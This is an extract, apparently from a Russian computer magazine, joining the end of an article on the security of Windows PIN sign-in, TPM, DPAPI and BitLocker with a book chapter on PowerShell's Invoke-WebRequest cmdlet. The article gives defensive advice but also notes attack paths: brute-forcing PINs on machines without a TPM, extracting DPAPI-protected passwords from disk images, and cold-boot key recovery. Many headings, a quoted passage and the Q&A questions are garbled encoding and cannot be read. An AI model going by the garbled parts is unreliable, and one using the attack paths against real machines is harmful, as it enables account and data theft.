жде ний, «оче вид ная» интер пре тация которых соз дает лож ное ощу щение
безопас ности. Раз берем под робнос ти. Ниже при водит ся цитата из 
(Microsoft исполь зует авто мати чес кий перевод; я сох ранил орфогра фию ори- 
гина ла):

статьи

«

»

ПИН-код при вязан к устрой ству
Îä íî âàæ íîå îòëè ÷èå ìåæ äó îíëàéí‑ïàðîëåì è ÏÈÍ‑êîäîì Hello ñîñ- 

òîèò â òîì, ÷òî ÏÈÍ‑êîä ïðè âÿçàí ê îïðå äåëåí íîìó óñòðîé ñòâó,

íà êîòîðîì îí áûë íàñ òðî åí. ÏÈÍ‑êîä íå ìîæåò èñïîëü çîâàòü ñÿ

áåç êîí êðåò íîãî îáî ðóäî âàíèÿ. Êòî‑òî, êòî êðà äåò âàø ïàðîëü

â Èíòåðíå òå, ìîæåò âîé òè â âàøó ó÷åò íóþ çàïèñü èç ëþáîãî ìåñ òà,

íî åñëè îí óêðà äåò ÏÈÍ‑êîä, èì òàê æå ïðè äåò ñÿ óêðàñòü âàøå

ôèçè÷åñ êîå óñòðîé ñòâî!

ПИН-код под держи вает ся обо рудо вани ем
ÏÈÍ‑êîä Hello ïîä äåðæè âàåò ñÿ ìèê ðîñõå ìîé äîâåðåí íîãî ïëàò- 

ôîðìåí íîãî ìîäóëÿ (TPM), ïðåä ñòàâ ëÿþùåé ñîáîé íàäåæ íûé êðèï- 

òîãðà ôè÷åñ êèé ïðî öåñ ñîð äëÿ âûïîë íåíèÿ îïå ðàöèé øèô ðîâàíèÿ. Ýòà

ìèê ðîñõå ìà ñîäåð æèò íåñ êîëü êî ìåõàíèç ìîâ ôèçè÷åñ êîé çàùèòû

äëÿ ïðå äîò âðà ùåíèÿ âçëî ìà, è âðå äîíîñ íûå ïðîã ðàììû íå ìîãóò

îáîé òè ôóí êöèè áåçîïàñ íîñòè TPM. Ìíî ãèå ñîâ ðåìåí íûå óñòðîé ñòâà

èìå þò TPM. Windows 10, ñ äðó ãîé ñòî ðîíû, èìå åò äåôåêò, íå ñâÿ çûâà- 

þùèé ëîêàëü íûå ïàðîëè ñ TPM. Èìåí íî ïî ýòîé ïðè ÷èíå ÏÈÍ‑êîäû

ñ÷è òàþò ñÿ áîëåå áåçîïàñ íûìè, ÷åì ëîêàëü íûå ïàðîëè.

Ес ли вос при нимать информа цию бук валь но, соз дает ся ощу щение, буд то PIN-
код — это сво еоб разная панацея, всег да хра нит ся в модуле TPM и не может
быть взло ман. Это не так. Дело в том, что Windows 10 работа ет как на компь- 
юте рах с модулем TPM, так и без него, при чем поль зовате лю об этом сис- 
тема не сооб щает. Более того, даже на компь юте рах, в про шив ке которых
при сутс тву ет эму ляция TPM, эта эму ляция чаще все го по умол чанию отклю- 
чена — поль зовате лю пред лага ется самос тоятель но зай ти в UEFI BIOS, отыс- 
кать меню Miscellaneous и вклю чить нас трой ку, которая может называть ся,
к при меру, Intel Platform Trust Technology (PTT). Сколь ко поль зовате лей вклю- 
чит эту нас трой ку, а какое количес тво оста вит ее неиз менной или прос то
не узна ет о ее сущес тво вании?

Intel Platform Trust Technology (PTT)

Ес ли TPM в сис теме отсутс тву ет или не вклю чен в UEFI BIOS, Windows
11 прос то отка жет ся от уста нов ки. А вот Windows 10 все рав но пред ложит
исполь зовать для вхо да PIN-код, а Microsoft все так же будет убеж дать, что
этот спо соб вхо да более безопа сен по срав нению с паролем. Это не так.
Пароль от учет ной записи в виде хеша все так же хра нит ся на дис ке, а сам
PIN-код с компь юте ра без TPM мож но взло мать прос тым перебо ром (циф- 
ровые PIN-коды, даже шес тизнач ные, получит ся переб рать за счи таные
секун ды).

ÁÅÇ ÌÎÄÓËß TPM ÂÕÎÄ Â WINDOWS ÏÎ PIN-ÊÎÄÓ ÍÅÁÅÇÎÏÀÑÅÍ

Сов сем ина че дела обсто ят в слу чае, если в сис теме при сутс тву ет и акти- 
виро ван модуль TPM 2.0 в физичес ком виде либо в виде про цес сорной эму- 
ляции. Рас смот рим поведе ние сис темы в сле дующих сце нари ях, которые мы
про тес тирова ли в нашей лабора тории.

 сис тема с Windows 10 (вход по PIN-коду) без TPM перено- 

сит ся на дру гой компь ютер без TPM. Перено сит ся физичес кий диск с уста- 
нов ленной ОС. Резуль тат: вход по PIN-коду сра баты вает на новом компь юте- 
ре так же, как и на ста ром.

Ñöå íàðèé 1:

 сис тема с Windows 10 (вход по PIN-коду) без TPM перено- 
сит ся на дру гой компь ютер без TPM. Перено сит ся толь ко копия раз дела
с уста нов ленной ОС; аппа рат ное обес печение меж ду дву мя компь юте рами
не сов пада ет ни по одной позиции. Резуль тат: вход по PIN-коду сра баты вает
на новом компь юте ре так же, как и на ста ром.

Ñöå íàðèé 2:

 сис тема с Windows 10 (вход по PIN-коду) без TPM перено- 

сит ся на компь ютер с уста нов ленным и активным модулем TPM. Перено сит ся
толь ко копия раз дела с уста нов ленной ОС; аппа рат ное обес печение меж ду
дву мя компь юте рами не сов пада ет ни по одной позиции. Резуль тат: вход
по PIN-коду сра баты вает на новом компь юте ре так же, как и на ста ром.

Ñöå íàðèé 3:

 сис тема с Windows 10 (вход по PIN-коду) с активным

модулем TPM перено сит ся на дру гой компь ютер с активным модулем TPM.
Перено сит ся копия раз дела с уста нов ленной ОС; аппа рат ное обес печение
меж ду дву мя компь юте рами не сов пада ет. Резуль тат: вход по PIN-коду
на новом компь юте ре не сра баты вает; для вхо да тре бует ся пароль от учет ной
записи; для исполь зования PIN-кода пот ребова лось уда лить ста рый PIN
и нас тро ить новый.

Ñöå íàðèé 4:

Оче вид но, что толь ко чет вертый сце нарий соот ветс тву ет модели безопас- 
ности, опи сан ной Microsoft в .статье

ÌÎÆÍÎ ËÈ ÈÑÏÎËÜÇÎÂÀÒÜ ÂÕÎÄ ÁÅÇ ÏÀÐÎËß Â WINDOWS 10?

Мож но. Но нуж но ли?
В сен тябре 2021 года ком пания анон сирова ла свое 

. Поль зовате лям оче ред ной сбор ки Windows 10 пред лагалось
изме нить нас трой ки учет ной записи Microsoft Account, зап ретив вход в нее
по паролю. Такая учет ная запись для вхо да в сис тему поз воляла изба вить ся
от хра нения хеша пароля на локаль ном компь юте ре. В то же вре мя поль- 
зователь терял воз можность вой ти в учет ную запись Microsoft из бра узе ра
по логину и паролю; для успешно го вхо да тре бовал ся дос туп к доверен ному
телефон ному номеру или ранее авто ризо ван ному устрой ству с уста нов- 
ленным на нем при ложе нием Microsoft Authenticator. С уче том того, что дан- 
ное при ложе ние дос тупно исклю читель но для смар тфо нов на iOS и Android
(но не для компь юте ров под управле нием Windows), целесо образность
новов ведения пред став ляет ся нес коль ко сом нитель ной. Под робнее об этом
мож но про читать . Нов шес тво не получи ло замет ного рас простра нения
из-за неоче вид ных пре иму ществ и сущес твен ного неудобс тва исполь- 
зования.

ви дение будуще го
без паролей

здесь

Учет ная запись без пароля

ÊÀÊ WINDOWS ÈÑÏÎËÜÇÓÅÒ TPM ÏÐÈ ÀÂÒÎÐÈÇÀÖÈÈ ÂÕÎÄÀ Â

ÑÈÑÒÅÌÓ ×ÅÐÅÇ PIN

В  опи саны спо собы, которы ми Windows может
исполь зовать аппа рат ный модуль безопас ности. Реаль ность зна читель но
скром нее: «может» не озна чает «исполь зует». Так, пароли, которые поль- 
зователь хра нит в бра узе ре Microsoft Edge, защище ны механиз мом DPAPI,
но ключ шиф рования хра нит ся на сис темном дис ке (он зашиф рован дан ными
учет ной записи) и не защища ется TPM, что поз воля ет извлечь эти пароли
из обра за дис ка, если известен пароль от учет ной записи поль зовате ля.

до кумен тации Microsoft

Вмес то того что бы исполь зовать TPM для хра нения все боль шего
количес тва дан ных, в Microsoft попыта лись обой ти проб лему, пре дос тавив
спо соб вхо да в учет ную запись по PIN-коду и без пароля. Имен но этот спо- 
соб — и толь ко на сис темах с TPM! — поз воля ет говорить о безопас ности
учет ной записи: теперь защищен ные DPAPI дан ные невоз можно рас шифро- 
вать, не вой дя в сис тему, а вой ти в сис тему мож но исклю читель но по PIN-коду
(или через Windows Hello), который будет про верять ся аппа рат ным модулем
TPM. Любое изме нение в кон фигура ции сис темы (как изме нение аппа рат ной
час ти, так и заг рузка с внеш него накопи теля) при ведет к тому, что модуль
TPM не отдаст нуж ный ключ и защищен ные дан ные рас шифро вать не удас тся.

В ито ге в обо рудо ван ных TPM сис темах с Windows 10 и Windows 11 невоз- 
можно взло мать PIN-код, а в Windows 11 с новым типом учет ных записей
с авто риза цией без пароля его невоз можно подоб рать или исполь зовать
пароль от Microsoft Account, извле чен ный из дру гого компь юте ра или учет ной
записи.

ÂÛÂÎÄÛ

Пе речи тав статью, я понял, что количес тво информа ции и мно гочис ленные
отсылки, «но», «если» и «да, но…» спо соб ны вски пятить содер жимое череп- 
ной короб ки не хуже, чем это дела ет докумен тация Microsoft. Поэто му вмес то
зак лючения я хочу перечис лить основные тезисы статьи в фор мате воп росов
и отве тов.

Øèô ðîâàíèå ñèñ òåìíî ãî äèñ êà BitLocker áåçîïàñ íî?

Да, если в сис теме есть (и акти виро ван) модуль TPM, Intel PTT или AMD
fTPM. Для пол ной уве рен ности мож но вклю чить режим шиф рования с 256-
бит ным клю чом (по умол чанию исполь зует ся 128-бит ный). Более того,
полити ки безопас ности BitLocker мож но гиб ко нас тра ивать (нап ример, тре- 
буя ввес ти отдель ный PIN-код перед заг рузкой); об этих нас трой ках я так же
пла нирую написать в одной из сле дующих ста тей.

Íî âåäü… óÿç âèìîñ òè?

Боль шинс тво уяз вимос тей TPM носит ско рее теоре тичес кий харак тер.
Более того, они не рас простра няют ся на прог рам мную эму ляцию в виде Intel
PTT или AMD fTPM, в которых уяз вимос тей не обна руже но.

Ре аль ная уяз вимость BitLocker (как, впро чем, и мно гих дру гих сис тем
шиф рования дис ков в Windows) зак люча ется в хра нении клю ча шиф рования
в опе ратив ной памяти компь юте ра. При исполь зовании TPM сис темный раз- 
дел раз бло киру ется в про цес се заг рузки еще до авто риза ции поль зовате ля
(то есть до зап роса пароля или PIN-кода). Сущес тву ет ата ка, в ходе которой
модули опе ратив ной памяти физичес ки замора жива ются, извле кают ся, а их
содер жимое счи тыва ется и ана лизи рует ся. Эта ата ка дей стви тель но поз воля- 
ет обна ружить ключ шиф рования и раз бло киро вать диск. В то же вре мя такая
ата ка тре бует обо рудо ван ной лабора тории и работы ква лифи циро ван ного
спе циалис та; она и подоб ные ей ата ки исполь зуют ся исклю читель но спец- 
служ бами при рас сле дова нии осо бо важ ных дел.

Çà ÷òî òû òàê íå ëþáèøü Windows 10?

А почему она про дол жает работать, если в сис теме нет TPM? И лад но бы
про дол жала работать, так ведь пред лага ет нас тро ить вход по PIN-коду вмес- 
то пароля! Для справ ки: ско рость перебо ра паролей NTLM такова, что циф- 
ровой PIN-код, даже сос тоящий из шес ти цифр, переби рает ся за нес коль ко
секунд. Да, эта проб лема реша ется вклю чени ем TPM (тог да PIN-код подоб- 
рать невоз можно), но воз ника ет дру гая: в учет ную запись Microsoft мож но
вой ти, если известен пароль от нее.

Íî âåäü ìîæ íî íå èñïîëü çîâàòü ó÷åò íóþ çàïèñü Microsoft?

Мож но. Но не во всех редак циях Windows. И ты про игры ваешь в удобс тве
(наруша ется прес ловутый баланс удобс тва и безопас ности).

Òàê âåäü è BitLocker äîñ òóïåí íå âî âñåõ ðåäàê öèÿõ Windows!

С точ ки зре ния Microsoft, поль зовате лям «домаш ней» редак ции по опре- 
деле нию «скры вать нечего». Если ты с этим не сог ласен — тебе поможет
VeraCrypt, о котором мы погово рим в одной из сле дующих ста тей.

Åñ ëè ÿ îáíîâëþñü íà Windows 11 è çàøèô ðóþ äèñê, âñå ñòà íåò

áåçîïàñ íî?

Поч ти. Не забудь еще вык лючить вход в учет ную запись по паролю; тог да
и толь ко тог да PIN-код будет защищен TPM. И кста ти, про кон тро лируй, куда
кон крет но сох раня ется ключ вос ста нов ления дос тупа BitLocker. Если в твою
учет ную запись Microsoft, то извлечь его отту да — дело нес ложное.

À åñëè íå îáíîâëþñü?

В прин ципе, срав нимого с прак тичес кой точ ки зре ния уров ня безопас- 
ности мож но дос тичь, исполь зуя локаль ную учет ную запись Windows со стой- 
ким уни каль ным паролем. В теории Windows 11 будет безопас нее за счет
воз можнос ти пол ностью отка зать ся от спо собов авто риза ции, не защищен- 
ных аппа рат ным спо собом (TPM).

Ìîæ íî ëè âçëî ìàòü PIN?

Да, мож но — если в сис теме нет (или не акти виро ван) TPM. Если же TPM
акти вен, то аппа рат ный модуль будет огра ничи вать ско рость перебо ра,
а через какое-то вре мя заб локиру ет даль нейшие попыт ки.

À åñëè ó ìåíÿ íåò TPM?

Ес ли твой компь ютер осна щен про цес сором Intel 8-го поколе ния
или более новым либо AMD Zen или более новым, то, веро ятнее все го, фун- 
кци ональ ность TPM у тебя есть в виде эму лято ра (Intel PTT, AMD fTPM), прос то
не вклю чена в UEFI BIOS. Най ди и вклю чи.

Ес ли же у тебя более ста рый компь ютер, то есть вари анты. О них я пла- 
нирую написать в сле дующей статье.

https://docs.microsoft.com/en-us/windows/security/identity-protection/hello-for-business/hello-why-pin-is-better-than-password
https://docs.microsoft.com/ru-ru/windows/security/identity-protection/hello-for-business/hello-why-pin-is-better-than-password
https://docs.microsoft.com/ru-ru/windows/security/identity-protection/hello-for-business/hello-why-pin-is-better-than-password
https://www.microsoft.com/security/blog/2021/09/15/the-passwordless-future-is-here-for-your-microsoft-account/
https://support.microsoft.com/en-us/account-billing/how-to-go-passwordless-with-your-microsoft-account-674ce301-3574-4387-a93d-916751764c43
https://docs.microsoft.com/en-us/windows/security/information-protection/tpm/how-windows-uses-the-tpm
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ТРЮКИ

В интерне те есть мно жес тво сер висов, с которы ми мож но
работать, обра щаясь к их ресур сам по про токо лу HTTP.
Веб-раз работ чики пос тоян но работа ют с такими HTTP-зап- 
росами для дос тупа к фун кци ям внеш них API или для тес- 
тирова ния собс твен ных при ложе ний. PowerShell для обра- 
щения к вебу по HTTP пред лага ет два стан дар тных коман- 
дле та:  и .Invoke-WebRequest Invoke-RestMethod

ÊÎÌÀÍÄËÅÒ INVOKE-WEBREQUEST

С помощью коман дле та  мож но нап равить веб-сер веру

HTTP-зап рос и получить от него ответ.

Invoke-WebRequest

Àíàëèç HTML-ñòðàíèö

Этот коман длет хорошо под ходит для ана лиза HTML-стра ниц. Еще он уме ет
сох ранять стра ницы на локаль ном дис ке. В этом он похож на кон соль ную ути- 
литу wget и даже име ет такой псев доним:

PS C:\Script> Get-Alias wget

CommandType     Name
-----------     ----
Alias           wget -> Invoke-WebRequest

Об ратим ся с помощью  к какой-нибудь прос той стра- 

нице, нап ример . 
По умол чанию  выпол няет HTTP-зап рос с методом GET

к ресур су на веб-сер вере, адрес ресур са ука зыва ется в качес тве зна чения
парамет ра . В резуль тате воз вра щает ся объ ект типа

, в котором хра нит ся информа ция об отве те сер- 

вера:

Invoke-WebRequest
Example Domain
Invoke-WebRequest

-Uri
HtmlWebResponseObject

PS C:\Script> $web = Invoke-WebRequest -Uri https://example.com/
index.html
PS C:\Script> $web | Get-Member

  TypeName: Microsoft.PowerShell.Commands.HtmlWebResponseObject
. . .
PS C:\Script> $web

StatusCode        : 200
StatusDescription : OK
Content           : <!doctype html>
                   <html>
                   <head>
                       <title>Example Domain</title>

                       <meta charset="utf-8" />
                       <meta http-equiv="Content-type" content=
"text/html; char
                   set=utf-8" />
                       <meta name="viewport" conten...
RawContent        : HTTP/1.1 200 OK
                   Age: 497890
                   Vary: Accept-Encoding
                   X-Cache: HIT
                   Content-Length: 1256
                   Cache-Control: max-age=604800
                   Content-Type: text/html; charset=UTF-8
                   Date: Mon, 12 Jul 2021 16:05:14 GMT
                   Exp...
Forms             : {}
Headers           : {[Age, 497890], [Vary, Accept-Encoding], [X-Cache
, HIT], [Co
                   ntent-Length, 1256]...}
Images            : {}
InputFields       : {}
Links             : {@{innerHTML=More information...; innerText=More 
information
                   ...; outerHTML=<A href="https://www.iana.org/
domains/example
                   ">More information...</A>; outerText=More 
information...; ta
                   gName=A; href=https://www.iana.org/domains/
example}}
ParsedHtml        : mshtml.HTMLDocumentClass
RawContentLength  : 1256

В поле  содер жится код отве та от сер вера (  для нашего при- 

мера), в поле  — тек сто вое опи сание это го отве та ( ).

StatusCode 200
StatusDescription OK

Современный PowerShell

Сов ремен ный PowerShell. Андрей Попов

Эта статья — гла ва из ,
вышед шей в изда тель стве «БХВ» в мар те это го года. В кни ге под робно опи- 
сан язык PowerShell и работа с обо лоч кой Windows PowerShell в Windows
Terminal, вза имо дей ствие с фай ловой сис темой, струк туриро ван ными дан- 
ными и веб-ресур сами. Автор раз бира ет управле ние про цес сами, служ бами
и сер верами авто мати зации, рас ска зыва ет, как соз дать GUI для сце нари ев
Windows PowerShell, уде ляет вни мание кросс-плат формен ным воз можнос тям
PowerShell в macOS и Linux.

кни ги Андрея Попова «Сов ремен ный PowerShell»

Ес ли ты адми нис три руешь рабочие стан ции, сер веры или локаль ные сети
под управле нием Windows, кни га «Сов ремен ный PowerShell» поможет тебе
осво ить сек реты и хит рости этой тех нологии и авто мати зиро вать мно жес тво
рутин ных задач.

Ñîäåðæèìîå îòâåòà îò ñåðâåðà è HTTP-çàãîëîâêè

Со дер жимое отве та от сер вера хра нит ся в виде стро ки в поле .

В нашем слу чае здесь будет записан HTML-код:

Content

PS C:\Script> $web.Content
<!doctype html>
<html>
<head>
   <title>Example Domain</title>

   <meta charset="utf-8" />
   <meta http-equiv="Content-type" content="text/html; 
charset=utf-8" />
   <meta name="viewport" content="width=device-width, 
initial-scale=1" />
   <style type="text/css">
   body {
       background-color: #f0f0f2;
       margin: 0;
       padding: 0;
       font-family: -apple-system, system-ui, BlinkMacSystemFont, 
"Segoe UI", "Open Sans", "Helvetica Neue", Helvetica, Arial, 
sans-serif;

   }
   div {
       width: 600px;
       margin: 5em auto;
       padding: 2em;
       background-color: #fdfdff;
       border-radius: 0.5em;
       box-shadow: 2px 3px 7px 2px rgba(0,0,0,0.02);
   }
   a:link, a:visited {
       color: #38488f;
       text-decoration: none;
   }
   @media (max-width: 700px) {
       div {
           margin: 0 auto;
           width: auto;
       }
   }
   </style>
</head>

<body>
<div>
   <h1>Example Domain</h1>
   <p>This domain is for use in illustrative examples in documents. 
You may use this
   domain in literature without prior coordination or asking for 
permission.</p>
   <p><a href="https://www.iana.org/domains/example">More 
information...</a></p>
</div>
</body>
</html>

В поле  записы вает ся пол ный ответ от сер вера с HTTP-заголов- 
ками в начале:

RawContent

PS C:\Script> $web.RawContent
HTTP/1.1 200 OK
Age: 497890
Vary: Accept-Encoding
X-Cache: HIT
Content-Length: 1256
Cache-Control: max-age=604800
Content-Type: text/html; charset=UTF-8
Date: Mon, 12 Jul 2021 16:05:14 GMT
Expires: Mon, 19 Jul 2021 16:05:14 GMT
ETag: "3147526947+ident"
Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT
Server: ECS (dcb/7F83)

<!doctype html>
<html>
<head>
   <title>Example Domain</title>
. . .

За голов ки отве та тоже хра нят ся отдель но — в виде хеш-таб лицы в свой стве
:headers

PS C:\Script> $web.headers

Key            Value
---            -----
Age            497890
Vary           Accept-Encoding
X-Cache        HIT
Content-Length 1256
Cache-Control  max-age=604800
Content-Type   text/html; charset=UTF-8
Date           Mon, 12 Jul 2021 16:05:14 GMT
Expires        Mon, 19 Jul 2021 16:05:14 GMT
ETag           "3147526947+ident"
Last-Modified  Thu, 17 Oct 2019 07:18:26 GMT
Server         ECS (dcb/7F83)

Ñîõðàíåíèå âåá-ðåñóðñîâ

Для сох ранения отве та от сер вера в виде локаль ного фай ла надо при вызове
 исполь зовать ключ  и ука зать путь к нуж ному

фай лу. Нап ример, сох раним стра ницу 
в фай ле  в текущем катало ге:

Invoke-WebRequest -OutFile
https://example.com/index.html

page.html

PS C:\Script> Invoke-WebRequest -Uri https://example.com/index.html 
-OutFile page.html

Про верим содер жимое фай ла  и убе дим ся, что в нем записа на
HTML-раз метка сох ранен ной стра ницы:

page.html

PS C:\Script> type .\page.html
<!doctype html>
<html>
<head>
   <title>Example Domain</title>

   <meta charset="utf-8" />
   <meta http-equiv="Content-type" content="text/html; 
charset=utf-8" />
   <meta name="viewport" content="width=device-width, 
initial-scale=1" />
   <style type="text/css">
   body {
       background-color: #f0f0f2;
       margin: 0;
       padding: 0;
       font-family: -apple-system, system-ui, BlinkMacSystemFont, 
"Segoe UI", "Open Sans", "Helvetica Neue", Helvetica, Arial, 
sans-serif;

   }
   div {
       width: 600px;
       margin: 5em auto;
       padding: 2em;
       background-color: #fdfdff;
       border-radius: 0.5em;
       box-shadow: 2px 3px 7px 2px rgba(0,0,0,0.02);
   }
   a:link, a:visited {
       color: #38488f;
       text-decoration: none;
   }
   @media (max-width: 700px) {
       div {
           margin: 0 auto;
           width: auto;
       }
   }
   </style>
</head>

<body>
<div>
   <h1>Example Domain</h1>
   <p>This domain is for use in illustrative examples in documents. 
You may use this
   domain in literature without prior coordination or asking for 
permission.</p>
   <p><a href="https://www.iana.org/domains/example">More 
information...</a></p>
</div>
</body>
</html>

По доб ным обра зом мож но сох ранять не толь ко HTML-фай лы, но и ресур сы
дру гих типов (тек сто вые, гра фичес кие или муль тимедий ные фай лы и т. д.),
к которым мож но обра тить ся на сай те.

Ïîèñê HTML-ýëåìåíòîâ íà ñòðàíèöå

В свой ствах  (фор мы),  (изоб ражения),  (поля вво- 

да) и  (ссыл ки) объ екта  сох раня ются мас сивы

объ ектов, которые опи сыва ют соот ветс тву ющие эле мен ты HTML-раз метки,
получен ной от сер вера. Обра баты вая эти кол лекции, мож но получить
информа цию об инте ресу ющих нас эле мен тах на заг ружен ной стра нице.

Forms Images InputFields
Links HtmlWebResponseObject

Нап ример, сох раним в перемен ной  стра ницу резуль татов поис ка
сло ва  в Yandex:

$web
PowerShell

PS C:\Script> $web = Invoke-WebRequest -Uri https://yandex.ru/search/
?text=PowerShell

Вы делим на этой стра нице все ссыл ки на сайт . Для это го нуж но
отфиль тро вать мас сив , оста вив в нем объ екты, у которых зна- 

чение свой ства  соот ветс тву ет мас ке :

habr.com
$web.Links

href *habr.com*

PS C:\Script> $habr_links = $web.Links | Where-Object href -like 
'*habr.com*'

В  находят ся два объ екта , содер жащие раз- 

личные HTML-атри буты для ссы лок:

$habr_links PSCustomObject

PS C:\Script> $habr_links.count
2
PS C:\Script> $habr_links | Get-Member

  TypeName: System.Management.Automation.PSCustomObject

Name          MemberType   Definition
----          ----------   ----------
Equals        Method       bool Equals(System.Object obj)
GetHashCode   Method       int GetHashCode()
GetType       Method       type GetType()
ToString      Method       string ToString()
class         NoteProperty string class=Link Link_theme_normal 
OrganicTitl...
data-counter  NoteProperty string data-counter=["b"]
data-log-node NoteProperty string data-log-node=bf7fw01-00
href          NoteProperty string href=https://habr.com/ru/company/
ruvds/b...
innerHTML     NoteProperty string innerHTML=<div class="Favicon 
Favicon_si...
innerText     NoteProperty string innerText=...
outerHTML     NoteProperty string outerHTML=<a tabindex="0" class="
Link Li...
outerText     NoteProperty string outerText=...
tabindex      NoteProperty string tabindex=0
tagName       NoteProperty string tagName=A
target        NoteProperty string target=_blank

Нап ример, выведем зна чение атри бутов  и  для этих ссы лок:href innerText

PS C:\Script> $habr_links | ForEach-Object {$_.href + " - " + $_.
innerText }
https://habr.com/ru/company/ruvds/blog/487876/ -
Что такое Windows PowerShell и с чем его едят? / Хабр
https://habr.com/ru/company/ruvds/blog/487876/ - habr.com›ru/company/
ruvds/blog/487876/

В свой стве  объ екта  содер жится объ ект

типа , который пре дос тавля ет дос туп к DOM-

дереву заг ружен ной HTML-стра ницы.

ParsedHtml HtmlWebResponseObject
mshtml.HTMLDocumentClass

PS C:\Users\andrv> $html = $web.ParsedHtml
PS C:\Users\andrv> Get-Member -InputObject $html

  TypeName: mshtml.HTMLDocumentClass
. . .

Продолжение статьи →

mailto:andpop@mail.ru
https://example.com/index.html
https://bhv.ru/product/sovremennyj-powershell/
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INFO

Ес ли в HTML-коде име ются сце нарии JavaScript,
то по умол чанию при пос тро ении DOM-дерева
они будут выпол нены. При необ ходимос ти выпол- 
нение сце нари ев мож но отклю чить, ука зав
параметр .-UseBasicParsing

В час тнос ти, исполь зуя методы , 
и , мож но получать объ екты, соот ветс тву ющие

HTML-эле мен там с задан ным иден тифика тором, име нем или тегом соот ветс- 
твен но.

getElementById() getElementsByName()
getElementsByTagName()

Нап ример, пос мотрим, какой текст записан в пер вом заголов ке вто рого
уров ня (HTML-тег ):<h2>

PS C:\Users\andrv> $html.getElementsByTagName('h2')[0].innerText

Документация по PowerShell - PowerShell | Microsoft Docs

Най дем эле мент с иден тифика тором :search-result

PS C:\Users\andrv> $html.getElementById('search-result')

className                    : serp-list serp-list_left_yes
id                           : search-result
tagName                      : UL
parentElement                : System.__ComObject
style                        : System.__ComObject
. . .

Ме тод  поз воля ет най ти HTML-эле мент по опре делен ному

CSS-селек тору. Нап ример, обра тим ся к эле мен ту с клас сом :

querySelector()
main__content

PS C:\Users\andrv> $html.querySelector('.main__content')

className                    : main__content
id                           :
tagName                      : DIV
parentElement                : System.__ComObject
style                        : System.__ComObject
. . .

Под робнее о свой ствах, методах и событи ях объ екта 

 мож но про читать в .

mshtml.
HTMLDocumentClass до кумен тации на сай те Microsoft

Âûïîëíåíèå POST-çàïðîñîâ

Ко ман длет  поз воля ет не толь ко выпол нять GET-зап росы,
но и вызывать дру гие методы, опре делен ные в про токо ле HTTP ( ,

, , , , , ). Для это го нуж ный метод ука зыва ется

в качес тве зна чения парамет ра .

Invoke-WebRequest
DELETE

HEAD MERGE PATCH POST PUT TRACE
-Method

Рас смот рим при мер выпол нения зап роса с HTTP-методом , который
час то исполь зует ся для переда чи дан ных из веб-форм или заг рузки фай лов
на сер вер. Обра щать ся мы будем к ресур су ,

в резуль тате сер вер дол жен сооб щить нам о получен ных дан ных.

POST

http://httpbin.org/post

Пе реда вать мы будем два парамет ра с име нами  и , которые

помес тим в хеш-таб лицу :

name lastName
$params

PS C:\Users\andrv> $params = @{name='Andrey'; lastName='Popov'}

Вы пол ним  с методом , помес тив переда ваемые

парамет ры в тело зап роса (параметр ):

Invoke-WebRequest POST
-Body

PS C:\Users\andrv> Invoke-WebRequest -Uri http://httpbin.org/post 
-Method POST -Body $params

StatusCode        : 200
StatusDescription : OK
Content           : {
                     "args": {},
                     "data": "",
                     "files": {},
                     "form": {
                       "lastName": "Popov",
                       "name": "Andrey"
                     },
                     "headers": {
                       "Content-Length": "26",
                       "Content-Type": "application/x-www-form..
                   .
RawContent        : HTTP/1.1 200 OK
                   Connection: keep-alive
                   Access-Control-Allow-Origin: *
                   Access-Control-Allow-Credentials: true
                   Content-Length: 503
                   Content-Type: application/json
                   Date: Fri, 16 Jul 2021 03:03:13 GM...
Forms             : {}
Headers           : {[Connection, keep-alive], [Access-Control-Al
                   low-Origin, *], [Access-Control-Allow-Credent
                   ials, true], [Content-Length, 503]...}
Images            : {}
InputFields       : {}
Links             : {}
ParsedHtml        : mshtml.HTMLDocumentClass
RawContentLength  : 503

От прав ляемые на сер вер парамет ры коман длет  авто- 

мати чес ки при водит к фор мату application/x-www-form-urlencoded, который
исполь зует ся при переда че дан ных из веб-форм. Ответ в поле 

говорит о том, что сер вер при нял наши парамет ры и опре делил, что они были
отправ лены из фор мы.

Invoke-WebRequest

Content

Иног да быва ет нуж но переда вать на сер вер дан ные в фор мате JSON, а не
в application/x-www-form-urlencoded. В этом слу чае сле дует ука зать параметр

 со зна чени ем . Нап ример:-ContentType application/json

PS C:\Users\andrv> $json_params = "{ 'name':'Andrey', 'lastName':
'Popov' }"
PS C:\Users\andrv> Invoke-WebRequest -Uri http://httpbin.org/post 
-ContentType "application/json" -Method POST -Body $json_params

StatusCode        : 200
StatusDescription : OK
Content           : {
                     "args": {},
                     "data": "{ 'name':'Andrey', 'lastName':'Popov
                   ' }",
                     "files": {},
                     "form": {},
                     "headers": {
                       "Content-Length": "39",
                       "Content-Type": "application/json",
                       "Host": "...
RawContent        : HTTP/1.1 200 OK
                   Connection: keep-alive
                   Access-Control-Allow-Origin: *
                   Access-Control-Allow-Credentials: true
                   Content-Length: 475
                   Content-Type: application/json
                   Date: Fri, 16 Jul 2021 03:43:04 GM...
Forms             : {}
Headers           : {[Connection, keep-alive], [Access-Control-Allo
                   w-Origin, *], [Access-Control-Allow-Credentials
                   , true], [Content-Length, 475]...}
Images            : {}
InputFields       : {}
Links             : {}
ParsedHtml        : mshtml.HTMLDocumentClass
RawContentLength  : 475

Как видим, при таком спо собе отправ ки зап роса сер верный скрипт, обра- 
баты вающий обра щения к ресур су , извлек
получен ные дан ные и при фор мирова нии сво его JSON-отве та помес тил их
в поле , а не в поле .

http://httpbin.org/post

data form

ÊÎÌÀÍÄËÅÒ INVOKE-RESTMETHOD

Ес ли мы обра щаем ся к веб-сер вису, под держи вающе му REST API, то ответ
сер вера, ско рее все го, будет содер жать струк туриро ван ные дан ные в фор- 
мате JSON или XML. Так, в пре дыду щем при мере мы с помощью коман дле та

 посыла ли POST-зап рос на ресурс 

 и получа ли в ответ JSON-стро ку:

Invoke-WebReques http://httpbin.org/
post

PS C:\Users\andrv> $web = Invoke-WebRequest -Uri http://httpbin.org/
post -Method POST -Body @{name='Andrey'; lastName='Popov'}
PS C:\Users\andrv> $web.Content
{
 "args": {},
 "data": "",
 "files": {},
 "form": {
   "lastName": "Popov",
   "name": "Andrey"
 },
 "headers": {
   "Content-Length": "26",
   "Content-Type": "application/x-www-form-urlencoded",
   "Host": "httpbin.org",
   "User-Agent": "Mozilla/5.0 (Windows NT; Windows NT 10.0; ru-RU) 
WindowsPowerShell/5.1.19041.1023",
   "X-Amzn-Trace-Id": "Root=1-60f2a42c-18f152db3b76b5d66d173e31"
 },
 "json": null,
 "origin": "85.95.179.209",
